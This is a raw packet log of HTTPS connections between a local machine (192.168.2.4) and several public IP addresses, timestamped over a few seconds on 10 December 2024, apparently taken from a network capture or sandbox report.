Dec 10, 2024 15:10:59.121001959 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.121326923 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.121468067 CET	50115	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.121525049 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.121671915 CET	50114	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.121685982 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.121843100 CET	50115	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.121854067 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.122044086 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.122512102 CET	50114	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.122564077 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.122685909 CET	50114	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.125202894 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.125408888 CET	50116	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.125422955 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.125771999 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.126137972 CET	50116	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.126199961 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.126295090 CET	50116	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.141371012 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.141463041 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.141730070 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.141741037 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.142101049 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.142493010 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.142508030 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.143110991 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.143179893 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.143260956 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.143660069 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.143726110 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.143990040 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.144053936 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.144092083 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.167340040 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.167351961 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.183336020 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.187330961 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.193567991 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.194015026 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.194031000 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.240818977 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.331190109 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.331469059 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.331484079 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.332555056 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.332619905 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.332981110 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.333049059 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.333333969 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.333342075 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.381577015 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.396353006 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.396743059 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.396752119 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.397854090 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.397945881 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.398919106 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.398971081 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.399183989 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.399188995 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.444930077 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.639728069 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.639833927 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.639971018 CET	50116	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.656099081 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.656188011 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.656661987 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.663521051 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.663619995 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.663671017 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.715949059 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.715972900 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.716844082 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.716875076 CET	50116	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.716898918 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.716941118 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.717001915 CET	50115	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.717988968 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.717999935 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.719223022 CET	50115	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.719232082 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.720578909 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.720680952 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.720743895 CET	50114	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.722073078 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:59.723356962 CET	50114	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.723368883 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.725318909 CET	50122	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:59.725327969 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:59.725761890 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:59.726517916 CET	50122	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:59.726599932 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:59.727328062 CET	50122	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:59.752700090 CET	50130	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:59.752739906 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:59.752796888 CET	50130	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:59.753087044 CET	50130	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:59.753096104 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:59.775381088 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:59.794049025 CET	50131	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.794080019 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.794156075 CET	50131	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.794447899 CET	50131	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.794456005 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.931480885 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.931587934 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.931756020 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.966073990 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.966166019 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.966290951 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.987771988 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.987792015 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.989104986 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.989118099 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.992202044 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.992225885 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.992417097 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.992873907 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:59.992888927 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:59.993371010 CET	50136	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.993403912 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.993469954 CET	50136	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.993797064 CET	50136	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.993809938 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.995520115 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.995554924 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:59.995711088 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.996120930 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:59.996139050 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:00.302014112 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:11:00.302089930 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:11:00.302146912 CET	50122	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:11:00.302753925 CET	50122	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:11:00.302766085 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:11:00.305079937 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:00.305104017 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:00.305200100 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:00.305510044 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:00.305525064 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:00.459225893 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:00.459510088 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:00.459522009 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:00.460571051 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:00.460647106 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:00.460968971 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:00.461031914 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:00.461129904 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:00.461136103 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:00.504661083 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:01.059072971 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:01.059165955 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:01.059278011 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:01.062391043 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:01.062406063 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:01.069051981 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.069067955 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.069142103 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.069438934 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.069452047 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.157593012 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:01.171499014 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.172002077 CET	50131	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.172013998 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.172363043 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.172949076 CET	50131	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.173022032 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.173232079 CET	50131	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.202914000 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:01.202925920 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:01.203684092 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:01.203757048 CET	443	49937	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:01.203907013 CET	49937	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:01.215332985 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.360435963 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.360785007 CET	50136	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.360794067 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.361058950 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.361175060 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.361321926 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.361371040 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.361711979 CET	50136	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.361788988 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.361855030 CET	50136	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.362487078 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.362549067 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.362929106 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.362993956 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.363078117 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.378143072 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:01.378165960 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:01.378231049 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:01.378545046 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:01.378557920 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:01.403333902 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.403337955 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.405642986 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.405653000 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.437777996 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:01.437799931 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:01.437865019 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:01.438144922 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:01.438158989 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:01.449095964 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:11:01.449457884 CET	50130	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:11:01.449470043 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:11:01.449815035 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:11:01.450231075 CET	50130	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:11:01.450300932 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:11:01.450861931 CET	50130	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:11:01.458076954 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.495328903 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:11:01.517035007 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:01.517067909 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:01.517141104 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:01.517355919 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:01.517368078 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:01.678283930 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:01.678591013 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:01.678603888 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:01.678949118 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:01.679418087 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:01.679486990 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:01.679585934 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:01.679585934 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:01.679600954 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:01.689517975 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.689604044 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.689748049 CET	50131	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.690377951 CET	50131	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.690397978 CET	443	50131	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.705563068 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:11:01.705961943 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:11:01.705981016 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:11:01.706973076 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:11:01.707345963 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:11:01.707423925 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:11:01.707490921 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:11:01.751211882 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:11:01.751224995 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:11:01.794821978 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:01.794866085 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:01.795118093 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:01.795444012 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:01.795456886 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:01.881592035 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.881690025 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.881756067 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.882496119 CET	50137	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.882512093 CET	443	50137	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.882533073 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.882610083 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:01.882680893 CET	50136	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.883745909 CET	50136	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:01.883758068 CET	443	50136	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.281713009 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:02.281785965 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:02.281905890 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:02.307785034 CET	50138	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:02.307802916 CET	443	50138	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:02.373991013 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:11:02.376120090 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:11:02.379271984 CET	50130	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:11:02.399003029 CET	50130	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:11:02.399019003 CET	443	50130	172.217.17.66	192.168.2.4
Dec 10, 2024 15:11:02.434962988 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.436472893 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.436503887 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.437654018 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.437716961 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.442991018 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.443075895 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.443173885 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.469410896 CET	50152	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.469436884 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.469513893 CET	50152	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.469703913 CET	50152	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.469717979 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.483340979 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.489808083 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.489816904 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.536668062 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.538845062 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:11:02.538928032 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:11:02.538980961 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:11:02.542566061 CET	50135	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:11:02.542578936 CET	443	50135	3.1.88.234	192.168.2.4
Dec 10, 2024 15:11:02.544260979 CET	50153	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:02.544287920 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:02.544368982 CET	50153	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:02.544600010 CET	50153	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:02.544614077 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:02.547527075 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:02.547538042 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:02.547601938 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:02.547823906 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:02.547835112 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:02.617503881 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:02.617530107 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:02.617686987 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:02.617881060 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:02.617894888 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:02.658082008 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:02.658428907 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:02.658456087 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:02.659560919 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:02.659635067 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:02.660114050 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:02.660182953 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:02.660531998 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:02.660542965 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:02.708545923 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:02.733067989 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:02.733351946 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:02.733366966 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:02.734508991 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:02.734571934 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:02.735764980 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:02.735832930 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:02.735949993 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:02.766710043 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:02.767045021 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:02.767060041 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:02.767433882 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:02.767736912 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:02.767815113 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:02.767882109 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:02.783329010 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:02.786684036 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:02.786699057 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:02.811338902 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:02.817945957 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:02.833558083 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:02.951476097 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.951570988 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:02.952980042 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.953133106 CET	50142	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:02.953149080 CET	443	50142	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:03.009924889 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.014341116 CET	50148	443	192.168.2.4	35.244.159.8
